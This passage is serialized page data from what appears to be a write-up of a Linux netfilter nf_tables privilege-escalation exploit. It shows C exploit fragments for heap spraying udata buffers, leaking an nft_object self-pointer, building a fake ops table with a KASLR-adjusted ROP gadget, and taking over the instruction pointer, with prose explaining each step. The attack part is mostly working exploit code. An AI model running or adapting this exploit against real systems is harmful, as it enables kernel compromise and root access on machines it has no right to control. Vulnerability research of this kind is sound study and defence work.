,{"style":154},[53762],{"type":29,"value":49712},{"type":23,"tag":141,"props":53764,"children":53765},{"style":160},[53766],{"type":29,"value":4480},{"type":23,"tag":141,"props":53768,"children":53769},{"style":472},[53770],{"type":29,"value":17770},{"type":23,"tag":141,"props":53772,"children":53773},{"style":154},[53774],{"type":29,"value":49743},{"type":23,"tag":141,"props":53776,"children":53777},{"style":160},[53778],{"type":29,"value":49748},{"type":23,"tag":141,"props":53780,"children":53781},{"style":154},[53782],{"type":29,"value":758},{"type":23,"tag":141,"props":53784,"children":53785},{"class":143,"line":293},[53786],{"type":23,"tag":141,"props":53787,"children":53788},{"style":154},[53789],{"type":29,"value":224},{"type":23,"tag":141,"props":53791,"children":53792},{"class":143,"line":801},[53793,53798,53803,53808,53813,53818],{"type":23,"tag":141,"props":53794,"children":53795},{"style":184},[53796],{"type":29,"value":53797}," snprintf",{"type":23,"tag":141,"props":53799,"children":53800},{"style":154},[53801],{"type":29,"value":53802},"(spray_name, ",{"type":23,"tag":141,"props":53804,"children":53805},{"style":449},[53806],{"type":29,"value":53807},"sizeof",{"type":23,"tag":141,"props":53809,"children":53810},{"style":154},[53811],{"type":29,"value":53812},"(spray_name), ",{"type":23,"tag":141,"props":53814,"children":53815},{"style":828},[53816],{"type":29,"value":53817},"\"spray-%i\"",{"type":23,"tag":141,"props":53819,"children":53820},{"style":154},[53821],{"type":29,"value":53822},", i);\n",{"type":23,"tag":141,"props":53824,"children":53825},{"class":143,"line":810},[53826,53831,53835,53839,53844],{"type":23,"tag":141,"props":53827,"children":53828},{"style":750},[53829],{"type":29,"value":53830}," udata",{"type":23,"tag":141,"props":53832,"children":53833},{"style":154},[53834],{"type":29,"value":53075},{"type":23,"tag":141,"props":53836,"children":53837},{"style":160},[53838],{"type":29,"value":1377},{"type":23,"tag":141,"props":53840,"children":53841},{"style":184},[53842],{"type":29,"value":53843}," getudata",{"type":23,"tag":141,"props":53845,"children":53846},{"style":154},[53847],{"type":29,"value":53848},"(nl, spray_name);\n",{"type":23,"tag":141,"props":53850,"children":53851},{"class":143,"line":824},[53852],{"type":23,"tag":141,"props":53853,"children":53854},{"style":154},[53855],{"type":29,"value":299},{"type":23,"tag":141,"props":53857,"children":53858},{"class":143,"line":839},[53859,53863,53867,53871,53875,53879,53883,53887,53891,53895,53900,53904,53908,53912,53916],{"type":23,"tag":141,"props":53860,"children":53861},{"style":148},[53862],{"type":29,"value":151},{"type":23,"tag":141,"props":53864,"children":53865},{"style":154},[53866],{"type":29,"value":1220},{"type":23,"tag":141,"props":53868,"children":53869},{"style":750},[53870],{"type":29,"value":53578},{"type":23,"tag":141,"props":53872,"children":53873},{"style":154},[53874],{"type":29,"value":2399},{"type":23,"tag":141,"props":53876,"children":53877},{"style":472},[53878],{"type":29,"value":2698},{"type":23,"tag":141,"props":53880,"children":53881},{"style":154},[53882],{"type":29,"value":47436},{"type":23,"tag":141,"props":53884,"children":53885},{"style":472},[53886],{"type":29,"value":2698},{"type":23,"tag":141,"props":53888,"children":53889},{"style":154},[53890],{"type":29,"value":7337},{"type":23,"tag":141,"props":53892,"children":53893},{"style":160},[53894],{"type":29,"value":7251},{"type":23,"tag":141,"props":53896,"children":53897},{"style":750},[53898],{"type":29,"value":53899}," udata",{"type":23,"tag":141,"props":53901,"children":53902},{"style":154},[53903],{"type":29,"value":2399},{"type":23,"tag":141,"props":53905,"children":53906},{"style":472},[53907],{"type":29,"value":1049},{"type":23,"tag":141,"props":53909,"children":53910},{"style":154},[53911],{"type":29,"value":47436},{"type":23,"tag":141,"props":53913,"children":53914},{"style":472},[53915],{"type":29,"value":2698},{"type":23,"tag":141,"props":53917,"children":53918},{"style":154},[53919],{"type":29,"value":53920},"])\n",{"type":23,"tag":141,"props":53922,"children":53923},{"class":143,"line":848},[53924],{"type":23,"tag":141,"props":53925,"children":53926},{"style":154},[53927],{"type":29,"value":224},{"type":23,"tag":141,"props":53929,"children":53930},{"class":143,"line":2304},[53931,53936,53940,53945],{"type":23,"tag":141,"props":53932,"children":53933},{"style":184},[53934],{"type":29,"value":53935}," puts",{"type":23,"tag":141,"props":53937,"children":53938},{"style":154},[53939],{"type":29,"value":192},{"type":23,"tag":141,"props":53941,"children":53942},{"style":828},[53943],{"type":29,"value":53944},"\"[+] got duplicated table\"",{"type":23,"tag":141,"props":53946,"children":53947},{"style":154},[53948],{"type":29,"value":2496},{"type":23,"tag":141,"props":53950,"children":53951},{"class":143,"line":2313},[53952],{"type":23,"tag":141,"props":53953,"children":53954},{"style":154},[53955],{"type":29,"value":299},{"type":23,"tag":141,"props":53957,"children":53958},{"class":143,"line":2335},[53959],{"type":23,"tag":141,"props":53960,"children":53961},{"emptyLinePlaceholder":15},[53962],{"type":29,"value":719},{"type":23,"tag":141,"props":53964,"children":53965},{"class":143,"line":2343},[53966],{"type":23,"tag":141,"props":53967,"children":53968},{"style":443},[53969],{"type":29,"value":53970}," // Replace one of the udata buffers with nft_object\n",{"type":23,"tag":141,"props":53972,"children":53973},{"class":143,"line":2352},[53974],{"type":23,"tag":141,"props":53975,"children":53976},{"style":443},[53977],{"type":29,"value":53978}," // and read it's counterpart to leak the nft_object struct\n",{"type":23,"tag":141,"props":53980,"children":53981},{"class":143,"line":2421},[53982,53987,53991,53996],{"type":23,"tag":141,"props":53983,"children":53984},{"style":184},[53985],{"type":29,"value":53986}," puts",{"type":23,"tag":141,"props":53988,"children":53989},{"style":154},[53990],{"type":29,"value":192},{"type":23,"tag":141,"props":53992,"children":53993},{"style":828},[53994],{"type":29,"value":53995},"\"[*] Info leak\"",{"type":23,"tag":141,"props":53997,"children":53998},{"style":154},[53999],{"type":29,"value":2496},{"type":23,"tag":141,"props":54001,"children":54002},{"class":143,"line":2429},[54003,54008,54013,54017,54021,54025],{"type":23,"tag":141,"props":54004,"children":54005},{"style":184},[54006],{"type":29,"value":54007}," deludata_spray",{"type":23,"tag":141,"props":54009,"children":54010},{"style":154},[54011],{"type":29,"value":54012},"(nl, ",{"type":23,"tag":141,"props":54014,"children":54015},{"style":472},[54016],{"type":29,"value":2698},{"type":23,"tag":141,"props":54018,"children":54019},{"style":154},[54020],{"type":29,"value":480},{"type":23,"tag":141,"props":54022,"children":54023},{"style":472},[54024],{"type":29,"value":687},{"type":23,"tag":141,"props":54026,"children":54027},{"style":154},[54028],{"type":29,"value":2496},{"type":23,"tag":141,"props":54030,"children":54031},{"class":143,"line":2459},[54032,54037],{"type":23,"tag":141,"props":54033,"children":54034},{"style":184},[54035],{"type":29,"value":54036}," wait_destroyer",{"type":23,"tag":141,"props":54038,"children":54039},{"style":154},[54040],{"type":29,"value":1305},{"type":23,"tag":141,"props":54042,"children":54043},{"class":143,"line":2467},[54044,54049,54053,54057,54061,54065,54069,54073,54077,54081],{"type":23,"tag":141,"props":54045,"children":54046},{"style":184},[54047],{"type":29,"value":54048}," obj_spray",{"type":23,"tag":141,"props":54050,"children":54051},{"style":154},[54052],{"type":29,"value":54012},{"type":23,"tag":141,"props":54054,"children":54055},{"style":472},[54056],{"type":29,"value":2698},{"type":23,"tag":141,"props":54058,"children":54059},{"style":154},[54060],{"type":29,"value":480},{"type":23,"tag":141,"props":54062,"children":54063},{"style":472},[54064],{"type":29,"value":687},{"type":23,"tag":141,"props":54066,"children":54067},{"style":154},[54068],{"type":29,"value":480},{"type":23,"tag":141,"props":54070,"children":54071},{"style":449},[54072],{"type":29,"value":52975},{"type":23,"tag":141,"props":54074,"children":54075},{"style":154},[54076],{"type":29,"value":480},{"type":23,"tag":141,"props":54078,"children":54079},{"style":472},[54080],{"type":29,"value":2698},{"type":23,"tag":141,"props":54082,"children":54083},{"style":154},[54084],{"type":29,"value":2496},{"type":23,"tag":141,"props":54086,"children":54087},{"class":143,"line":2499},[54088,54093,54097,54102,54106,54110,54115,54119,54123,54128,54132,54137],{"type":23,"tag":141,"props":54089,"children":54090},{"style":449},[54091],{"type":29,"value":54092}," uint64_t",{"type":23,"tag":141,"props":54094,"children":54095},{"style":160},[54096],{"type":29,"value":8496},{"type":23,"tag":141,"props":54098,"children":54099},{"style":154},[54100],{"type":29,"value":54101},"fake_obj ",{"type":23,"tag":141,"props":54103,"children":54104},{"style":160},[54105],{"type":29,"value":1377},{"type":23,"tag":141,"props":54107,"children":54108},{"style":154},[54109],{"type":29,"value":1220},{"type":23,"tag":141,"props":54111,"children":54112},{"style":449},[54113],{"type":29,"value":54114},"uint64_t",{"type":23,"tag":141,"props":54116,"children":54117},{"style":160},[54118],{"type":29,"value":8496},{"type":23,"tag":141,"props":54120,"children":54121},{"style":154},[54122],{"type":29,"value":1788},{"type":23,"tag":141,"props":54124,"children":54125},{"style":184},[54126],{"type":29,"value":54127},"getudata",{"type":23,"tag":141,"props":54129,"children":54130},{"style":154},[54131],{"type":29,"value":54012},{"type":23,"tag":141,"props":54133,"children":54134},{"style":828},[54135],{"type":29,"value":54136},"\"spray-2\"",{"type":23,"tag":141,"props":54138,"children":54139},{"style":154},[54140],{"type":29,"value":2496},{"type":23,"tag":141,"props":54142,"children":54143},{"class":143,"line":2507},[54144],{"type":23,"tag":141,"props":54145,"children":54146},{"style":154},[54147],{"type":29,"value":8998},{"type":23,"tag":8287,"props":54149,"children":54151},{"id":54150},"leaking-self-pointer-of-nft_object",[54152,54154],{"type":29,"value":54153},"Leaking self pointer of ",{"type":23,"tag":38,"props":54155,"children":54157},{"className":54156},[],[54158],{"type":29,"value":53593},{"type":23,"tag":32,"props":54160,"children":54161},{},[54162,54164,54169,54171,54176,54178,54183,54185,54191],{"type":29,"value":54163},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":23,"tag":38,"props":54165,"children":54167},{"className":54166},[],[54168],{"type":29,"value":53593},{"type":29,"value":54170}," to get its own address. This is possible because the ",{"type":23,"tag":38,"props":54172,"children":54174},{"className":54173},[],[54175],{"type":29,"value":53593},{"type":29,"value":54177}," has a ",{"type":23,"tag":38,"props":54179,"children":54181},{"className":54180},[],[54182],{"type":29,"value":53578},{"type":29,"value":54184}," pointer (similar to ",{"type":23,"tag":38,"props":54186,"children":54188},{"className":54187},[],[54189],{"type":29,"value":54190},"table->udata",{"type":29,"value":54192}," that I used for leaking KASLR), that I can use to read/write data.",{"type":23,"tag":32,"props":54194,"children":54195},{},[54196,54197,54202,54204,54210,54212,54217,54219,54225,54227,54233,54235,54240,54242,54247,54249,54254,54256],{"type":29,"value":388},{"type":23,"tag":38,"props":54198,"children":54200},{"className":54199},[],[54201],{"type":29,"value":53593},{"type":29,"value":54203}," struct also contains a ",{"type":23,"tag":38,"props":54205,"children":54207},{"className":54206},[],[54208],{"type":29,"value":54209},"list_head",{"type":29,"value":54211}," inserted in a circular list containing all ",{"type":23,"tag":38,"props":54213,"children":54215},{"className":54214},[],[54216],{"type":29,"value":53593},{"type":29,"value":54218},"'s that belong to a given ",{"type":23,"tag":38,"props":54220,"children":54222},{"className":54221},[],[54223],{"type":29,"value":54224},"table",{"type":29,"value":54226},". Considering that our object is currently alone in its table, the ",{"type":23,"tag":38,"props":54228,"children":54230},{"className":54229},[],[54231],{"type":29,"value":54232},"table->list.next",{"type":29,"value":54234}," pointer in the ",{"type":23,"tag":38,"props":54236,"children":54238},{"className":54237},[],[54239],{"type":29,"value":53593},{"type":29,"value":54241}," will point back to the ",{"type":23,"tag":38,"props":54243,"children":54245},{"className":54244},[],[54246],{"type":29,"value":54209},{"type":29,"value":54248}," contained in the ",{"type":23,"tag":38,"props":54250,"children":54252},{"className":54251},[],[54253],{"type":29,"value":54224},{"type":29,"value":54255}," and vice-versa.\n",{"type":23,"tag":2591,"props":54257,"children":54259},{"alt":49057,"src":54258},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":23,"tag":32,"props":54261,"children":54262},{},[54263,54265,54270,54272,54277,54279,54285,54287,54292,54293,54298,54300,54305,54307,54312],{"type":29,"value":54264},"In short, that means that if we swap the ",{"type":23,"tag":38,"props":54266,"children":54268},{"className":54267},[],[54269],{"type":29,"value":53578},{"type":29,"value":54271}," pointer of the ",{"type":23,"tag":38,"props":54273,"children":54275},{"className":54274},[],[54276],{"type":29,"value":53593},{"type":29,"value":54278}," with its own ",{"type":23,"tag":38,"props":54280,"children":54282},{"className":54281},[],[54283],{"type":29,"value":54284},"list.next",{"type":29,"value":54286}," pointer we should be able to read a pointer back to the ",{"type":23,"tag":38,"props":54288,"children":54290},{"className":54289},[],[54291],{"type":29,"value":53593},{"type":29,"value":50818},{"type":23,"tag":38,"props":54294,"children":54296},{"className":54295},[],[54297],{"type":29,"value":54209},{"type":29,"value":54299}," which is also the start of the ",{"type":23,"tag":38,"props":54301,"children":54303},{"className":54302},[],[54304],{"type":29,"value":53593},{"type":29,"value":54306}," itself.\n",{"type":23,"tag":3998,"props":54308,"children":54309},{},[54310],{"type":29,"value":54311},"NOTE:",{"type":29,"value":54313}," This is a novel small trick.",{"type":23,"tag":131,"props":54315,"children":54317},{"className":133,"code":54316,"language":135,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[54318],{"type":23,"tag":38,"props":54319,"children":54320},{"__ignoreMap":7},[54321,54328,54336,54349,54397,54424,54435,54473,54480,54509,54539],{"type":23,"tag":141,"props":54322,"children":54323},{"class":143,"line":144},[54324],{"type":23,"tag":141,"props":54325,"children":54326},{"style":154},[54327],{"type":29,"value":8998},{"type":23,"tag":141,"props":54329,"children":54330},{"class":143,"line":180},[54331],{"type":23,"tag":141,"props":54332,"children":54333},{"style":154},[54334],{"type":29,"value":54335}," // Leak nft_object ptr using table linked list\n",{"type":23,"tag":141,"props":54337,"children":54338},{"class":143,"line":205},[54339,54344],{"type":23,"tag":141,"props":54340,"children":54341},{"style":154},[54342],{"type":29,"value":54343}," fake_obj[8] = 8;",{"type":23,"tag":141,"props":54345,"children":54346},{"style":443},[54347],{"type":29,"value":54348}," // ulen = 8\n",{"type":23,"tag":141,"props":54350,"children":54351},{"class":143,"line":218},[54352,54357,54361,54366,54370,54374,54379,54383,54387,54392],{"type":23,"tag":141,"props":54353,"children":54354},{"style":750},[54355],{"type":29,"value":54356}," fake_obj",{"type":23,"tag":141,"props":54358,"children":54359},{"style":154},[54360],{"type":29,"value":2399},{"type":23,"tag":141,"props":54362,"children":54363},{"style":472},[54364],{"type":29,"value":54365},"9",{"type":23,"tag":141,"props":54367,"children":54368},{"style":154},[54369],{"type":29,"value":7337},{"type":23,"tag":141,"props":54371,"children":54372},{"style":160},[54373],{"type":29,"value":1377},{"type":23,"tag":141,"props":54375,"children":54376},{"style":750},[54377],{"type":29,"value":54378}," fake_obj",{"type":23,"tag":141,"props":54380,"children":54381},{"style":154},[54382],{"type":29,"value":2399},{"type":23,"tag":141,"props":54384,"children":54385},{"style":472},[54386],{"type":29,"value":2698},{"type":23,"tag":141,"props":54388,"children":54389},{"style":154},[54390],{"type":29,"value":54391},"];",{"type":23,"tag":141,"props":54393,"children":54394},{"style":443},[54395],{"type":29,"value":54396}," // udata = list->next\n",{"type":23,"tag":141,"props":54398,"children":54399},{"class":143,"line":227},[54400,54404,54408,54412,54416,54420],{"type":23,"tag":141,"props":54401,"children":54402},{"style":184},[54403],{"type":29,"value":54007},{"type":23,"tag":141,"props":54405,"children":54406},{"style":154},[54407],{"type":29,"value":54012},{"type":23,"tag":141,"props":54409,"children":54410},{"style":472},[54411],{"type":29,"value":1049},{"type":23,"tag":141,"props":54413,"children":54414},{"style":154},[54415],{"type":29,"value":480},{"type":23,"tag":141,"props":54417,"children":54418},{"style":472},[54419],{"type":29,"value":687},{"type":23,"tag":141,"props":54421,"children":54422},{"style":154},[54423],{"type":29,"value":2496},{"type":23,"tag":141,"props":54425,"children":54426},{"class":143,"line":241},[54427,54431],{"type":23,"tag":141,"props":54428,"children":54429},{"style":184},[54430],{"type":29,"value":54036},{"type":23,"tag":141,"props":54432,"children":54433},{"style":154},[54434],{"type":29,"value":1305},{"type":23,"tag":141,"props":54436,"children":54437},{"class":143,"line":262},[54438,54443,54447,54452,54456,54460,54464,54468],{"type":23,"tag":141,"props":54439,"children":54440},{"style":184},[54441],{"type":29,"value":54442}," udata_spray",{"type":23,"tag":141,"props":54444,"children":54445},{"style":154},[54446],{"type":29,"value":54012},{"type":23,"tag":141,"props":54448,"children":54449},{"style":472},[54450],{"type":29,"value":54451},"0xe8",{"type":23,"tag":141,"props":54453,"children":54454},{"style":154},[54455],{"type":29,"value":480},{"type":23,"tag":141,"props":54457,"children":54458},{"style":472},[54459],{"type":29,"value":15972},{"type":23,"tag":141,"props":54461,"children":54462},{"style":154},[54463],{"type":29,"value":480},{"type":23,"tag":141,"props":54465,"children":54466},{"style":472},[54467],{"type":29,"value":687},{"type":23,"tag":141,"props":54469,"children":54470},{"style":154},[54471],{"type":29,"value":54472},", fake_obj);\n",{"type":23,"tag":141,"props":54474,"children":54475},{"class":143,"line":271},[54476],{"type":23,"tag":141,"props":54477,"children":54478},{"emptyLinePlaceholder":15},[54479],{"type":29,"value":719},{"type":23,"tag":141,"props":54481,"children":54482},{"class":143,"line":293},[54483,54488,54492,54497,54501,54505],{"type":23,"tag":141,"props":54484,"children":54485},{"style":184},[54486],{"type":29,"value":54487}," get_obj",{"type":23,"tag":141,"props":54489,"children":54490},{"style":154},[54491],{"type":29,"value":54012},{"type":23,"tag":141,"props":54493,"children":54494},{"style":828},[54495],{"type":29,"value":54496},"\"spray-0\"",{"type":23,"tag":141,"props":54498,"children":54499},{"style":154},[54500],{"type":29,"value":480},{"type":23,"tag":141,"props":54502,"children":54503},{"style":449},[54504],{"type":29,"value":2670},{"type":23,"tag":141,"props":54506,"children":54507},{"style":154},[54508],{"type":29,"value":2496},{"type":23,"tag":141,"props":54510,"children":54511},{"class":143,"line":801},[54512,54517,54521,54526,54530,54534],{"type":23,"tag":141,"props":54513,"children":54514},{"style":184},[54515],{"type":29,"value":54516}," printf",{"type":23,"tag":141,"props":54518,"children":54519},{"style":154},[54520],{"type":29,"value":192},{"type":23,"tag":141,"props":54522,"children":54523},{"style":828},[54524],{"type":29,"value":54525},"\"[*] nft_object ptr: 0x%lx",{"type":23,"tag":141,"props":54527,"children":54528},{"style":46851},[54529],{"type":29,"value":46854},{"type":23,"tag":141,"props":54531,"children":54532},{"style":828},[54533],{"type":29,"value":18731},{"type":23,"tag":141,"props":54535,"children":54536},{"style":154},[54537],{"type":29,"value":54538},", obj_ptr);\n",{"type":23,"tag":141,"props":54540,"children":54541},{"class":143,"line":810},[54542],{"type":23,"tag":141,"props":54543,"children":54544},{"style":154},[54545],{"type":29,"value":8998},{"type":23,"tag":8287,"props":54547,"children":54549},{"id":54548},"hijacking-control-flow",[54550],{"type":29,"value":54551},"Hijacking control-flow",{"type":23,"tag":32,"props":54553,"children":54554},{},[54555,54557,54562,54564,54569,54571,54576,54578,54583,54585,54590,54592],{"type":29,"value":54556},"To hijack control-flow, we can use ",{"type":23,"tag":38,"props":54558,"children":54560},{"className":54559},[],[54561],{"type":29,"value":53593},{"type":29,"value":54563}," once again. The ",{"type":23,"tag":38,"props":54565,"children":54567},{"className":54566},[],[54568],{"type":29,"value":53593},{"type":29,"value":54570}," struct has an ",{"type":23,"tag":38,"props":54572,"children":54574},{"className":54573},[],[54575],{"type":29,"value":51149},{"type":29,"value":54577}," pointer to a function pointer table. We can swap the ",{"type":23,"tag":38,"props":54579,"children":54581},{"className":54580},[],[54582],{"type":29,"value":51149},{"type":29,"value":54584}," pointer with the ",{"type":23,"tag":38,"props":54586,"children":54588},{"className":54587},[],[54589],{"type":29,"value":53578},{"type":29,"value":54591}," pointer, taking control of the pointer table.\n",{"type":23,"tag":2591,"props":54593,"children":54595},{"alt":49057,"src":54594},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":23,"tag":131,"props":54597,"children":54599},{"className":133,"code":54598,"language":135,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, \"spray-1\");\n[...]\n",[54600],{"type":23,"tag":38,"props":54601,"children":54602},{"__ignoreMap":7},[54603,54610,54618,54642,54689,54725,54732,54740,54772,54780,54788,54809,54817,54825,54889,54896,54904,54912,54919,54927,54961,54969,54976,54984,54991,54999,55032,55053],{"type":23,"tag":141,"props":54604,"children":54605},{"class":143,"line":144},[54606],{"type":23,"tag":141,"props":54607,"children":54608},{"style":154},[54609],{"type":29,"value":8998},{"type":23,"tag":141,"props":54611,"children":54612},{"class":143,"line":180},[54613],{"type":23,"tag":141,"props":54614,"children":54615},{"style":154},[54616],{"type":29,"value":54617}," // Fake ops\n",{"type":23,"tag":141,"props":54619,"children":54620},{"class":143,"line":205},[54621,54626,54630,54634,54638],{"type":23,"tag":141,"props":54622,"children":54623},{"style":154},[54624],{"type":29,"value":54625}," uint64_t *rop = calloc(29, ",{"type":23,"tag":141,"props":54627,"children":54628},{"style":725},[54629],{"type":29,"value":53807},{"type":23,"tag":141,"props":54631,"children":54632},{"style":154},[54633],{"type":29,"value":192},{"type":23,"tag":141,"props":54635,"children":54636},{"style":449},[54637],{"type":29,"value":54114},{"type":23,"tag":141,"props":54639,"children":54640},{"style":154},[54641],{"type":29,"value":5897},{"type":23,"tag":141,"props":54643,"children":54644},{"class":143,"line":218},[54645,54650,54654,54658,54662,54666,54671,54675,54680,54684],{"type":23,"tag":141,"props":54646,"children":54647},{"style":750},[54648],{"type":29,"value":54649}," rop",{"type":23,"tag":141,"props":54651,"children":54652},{"style":154},[54653],{"type":29,"value":2399},{"type":23,"tag":141,"props":54655,"children":54656},{"style":472},[54657],{"type":29,"value":2698},{"type":23,"tag":141,"props":54659,"children":54660},{"style":154},[54661],{"type":29,"value":7337},{"type":23,"tag":141,"props":54663,"children":54664},{"style":160},[54665],{"type":29,"value":1377},{"type":23,"tag":141,"props":54667,"children":54668},{"style":154},[54669],{"type":29,"value":54670}," kaslr_slide ",{"type":23,"tag":141,"props":54672,"children":54673},{"style":160},[54674],{"type":29,"value":3058},{"type":23,"tag":141,"props":54676,"children":54677},{"style":472},[54678],{"type":29,"value":54679}," 0xffffffff81988647",{"type":23,"tag":141,"props":54681,"children":54682},{"style":154},[54683],{"type":29,"value":47552},{"type":23,"tag":141,"props":54685,"children":54686},{"style":443},[54687],{"type":29,"value":54688}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":23,"tag":141,"props":54690,"children":54691},{"class":143,"line":227},[54692,54696,54700,54704,54708,54712,54716,54720],{"type":23,"tag":141,"props":54693,"children":54694},{"style":750},[54695],{"type":29,"value":54649},{"type":23,"tag":141,"props":54697,"children":54698},{"style":154},[54699],{"type":29,"value":2399},{"type":23,"tag":141,"props":54701,"children":54702},{"style":472},[54703],{"type":29,"value":1049},{"type":23,"tag":141,"props":54705,"children":54706},{"style":154},[54707],{"type":29,"value":7337},{"type":23,"tag":141,"props":54709,"children":54710},{"style":160},[54711],{"type":29,"value":1377},{"type":23,"tag":141,"props":54713,"children":54714},{"style":154},[54715],{"type":29,"value":54670},{"type":23,"tag":141,"props":54717,"children":54718},{"style":160},[54719],{"type":29,"value":3058},{"type":23,"tag":141,"props":54721,"children":54722},{"style":154},[54723],{"type":29,"value":54724}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":23,"tag":141,"props":54726,"children":54727},{"class":143,"line":241},[54728],{"type":23,"tag":141,"props":54729,"children":54730},{"style":154},[54731],{"type":29,"value":8998},{"type":23,"tag":141,"props":54733,"children":54734},{"class":143,"line":262},[54735],{"type":23,"tag":141,"props":54736,"children":54737},{"style":154},[54738],{"type":29,"value":54739}," // Send ROP in object udata\n",{"type":23,"tag":141,"props":54741,"children":54742},{"class":143,"line":271},[54743,54748,54752,54757,54762,54767],{"type":23,"tag":141,"props":54744,"children":54745},{"style":154},[54746],{"type":29,"value":54747}," del_obj(",{"type":23,"tag":141,"props":54749,"children":54750},{"style":725},[54751],{"type":29,"value":52769},{"type":23,"tag":141,"props":54753,"children":54754},{"style":154},[54755],{"type":29,"value":54756},", \"",{"type":23,"tag":141,"props":54758,"children":54759},{"style":725},[54760],{"type":29,"value":54761},"spray",{"type":23,"tag":141,"props":54763,"children":54764},{"style":154},[54765],{"type":29,"value":54766},"-0",{"type":23,"tag":141,"props":54768,"children":54769},{"style":828},[54770],{"type":29,"value":54771},"\");\n",{"type":23,"tag":141,"props":54773,"children":54774},{"class":143,"line":293},[54775],{"type":23,"tag":141,"props":54776,"children":54777},{"style":828},[54778],{"type":29,"value":54779}," wait_destroyer();\n",{"type":23,"tag":141,"props":54781,"children":54782},{"class":143,"line":801},[54783],{"type":23,"tag":141,"props":54784,"children":54785},{"style":828},[54786],{"type":29,"value":54787}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":23,"tag":141,"props":54789,"children":54790},{"class":143,"line":810},[54791,54796,54800,54805],{"type":23,"tag":141,"props":54792,"children":54793},{"style":828},[54794],{"type":29,"value":54795}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":23,"tag":141,"props":54797,"children":54798},{"style":449},[54799],{"type":29,"value":54761},{"type":23,"tag":141,"props":54801,"children":54802},{"style":154},[54803],{"type":29,"value":54804},"-3",{"type":23,"tag":141,"props":54806,"children":54807},{"style":828},[54808],{"type":29,"value":54771},{"type":23,"tag":141,"props":54810,"children":54811},{"class":143,"line":824},[54812],{"type":23,"tag":141,"props":54813,"children":54814},{"style":828},[54815],{"type":29,"value":54816}," DumpHex(fake_obj, 0xe8);\n",{"type":23,"tag":141,"props":54818,"children":54819},{"class":143,"line":839},[54820],{"type":23,"tag":141,"props":54821,"children":54822},{"style":828},[54823],{"type":29,"value":54824}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":23,"tag":141,"props":54826,"children":54827},{"class":143,"line":848},[54828,54833,54837,54841,54845,54850,54855,54860,54864,54869,54874,54879,54884],{"type":23,"tag":141,"props":54829,"children":54830},{"style":828},[54831],{"type":29,"value":54832}," printf(\"",{"type":23,"tag":141,"props":54834,"children":54835},{"style":154},[54836],{"type":29,"value":2399},{"type":23,"tag":141,"props":54838,"children":54839},{"style":160},[54840],{"type":29,"value":197},{"type":23,"tag":141,"props":54842,"children":54843},{"style":154},[54844],{"type":29,"value":7337},{"type":23,"tag":141,"props":54846,"children":54847},{"style":725},[54848],{"type":29,"value":54849},"ROP",{"type":23,"tag":141,"props":54851,"children":54852},{"style":725},[54853],{"type":29,"value":54854}," addr",{"type":23,"tag":141,"props":54856,"children":54857},{"style":154},[54858],{"type":29,"value":54859},": 0",{"type":23,"tag":141,"props":54861,"children":54862},{"style":725},[54863],{"type":29,"value":17947},{"type":23,"tag":141,"props":54865,"children":54866},{"style":154},[54867],{"type":29,"value":54868},"%",{"type":23,"tag":141,"props":54870,"children":54871},{"style":725},[54872],{"type":29,"value":54873},"lx",{"type":23,"tag":141,"props":54875,"children":54876},{"style":154},[54877],{"type":29,"value":54878},"\\",{"type":23,"tag":141,"props":54880,"children":54881},{"style":725},[54882],{"type":29,"value":54883},"n",{"type":23,"tag":141,"props":54885,"children":54886},{"style":828},[54887],{"type":29,"value":54888},"\", rop_addr);\n",{"type":23,"tag":141,"props":54890,"children":54891},{"class":143,"line":2304},[54892],{"type":23,"tag":141,"props":54893,"children":54894},{"emptyLinePlaceholder":15},[54895],{"type":29,"value":719},{"type":23,"tag":141,"props":54897,"children":54898},{"class":143,"line":2313},[54899],{"type":23,"tag":141,"props":54900,"children":54901},{"style":828},[54902],{"type":29,"value":54903}," // Point to fake ops\n",{"type":23,"tag":141,"props":54905,"children":54906},{"class":143,"line":2335},[54907],{"type":23,"tag":141,"props":54908,"children":54909},{"style":828},[54910],{"type":29,"value":54911}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":23,"tag":141,"props":54913,"children":54914},{"class":143,"line":2343},[54915],{"type":23,"tag":141,"props":54916,"children":54917},{"style":828},[54918],{"type":29,"value":8998},{"type":23,"tag":141,"props":54920,"children":54921},{"class":143,"line":2352},[54922],{"type":23,"tag":141,"props":54923,"children":54924},{"style":828},[54925],{"type":29,"value":54926}," // Write ROP\n",{"type":23,"tag":141,"props":54928,"children":54929},{"class":143,"line":2421},[54930,54935,54939,54943,54947,54952,54957],{"type":23,"tag":141,"props":54931,"children":54932},{"style":828},[54933],{"type":29,"value":54934}," 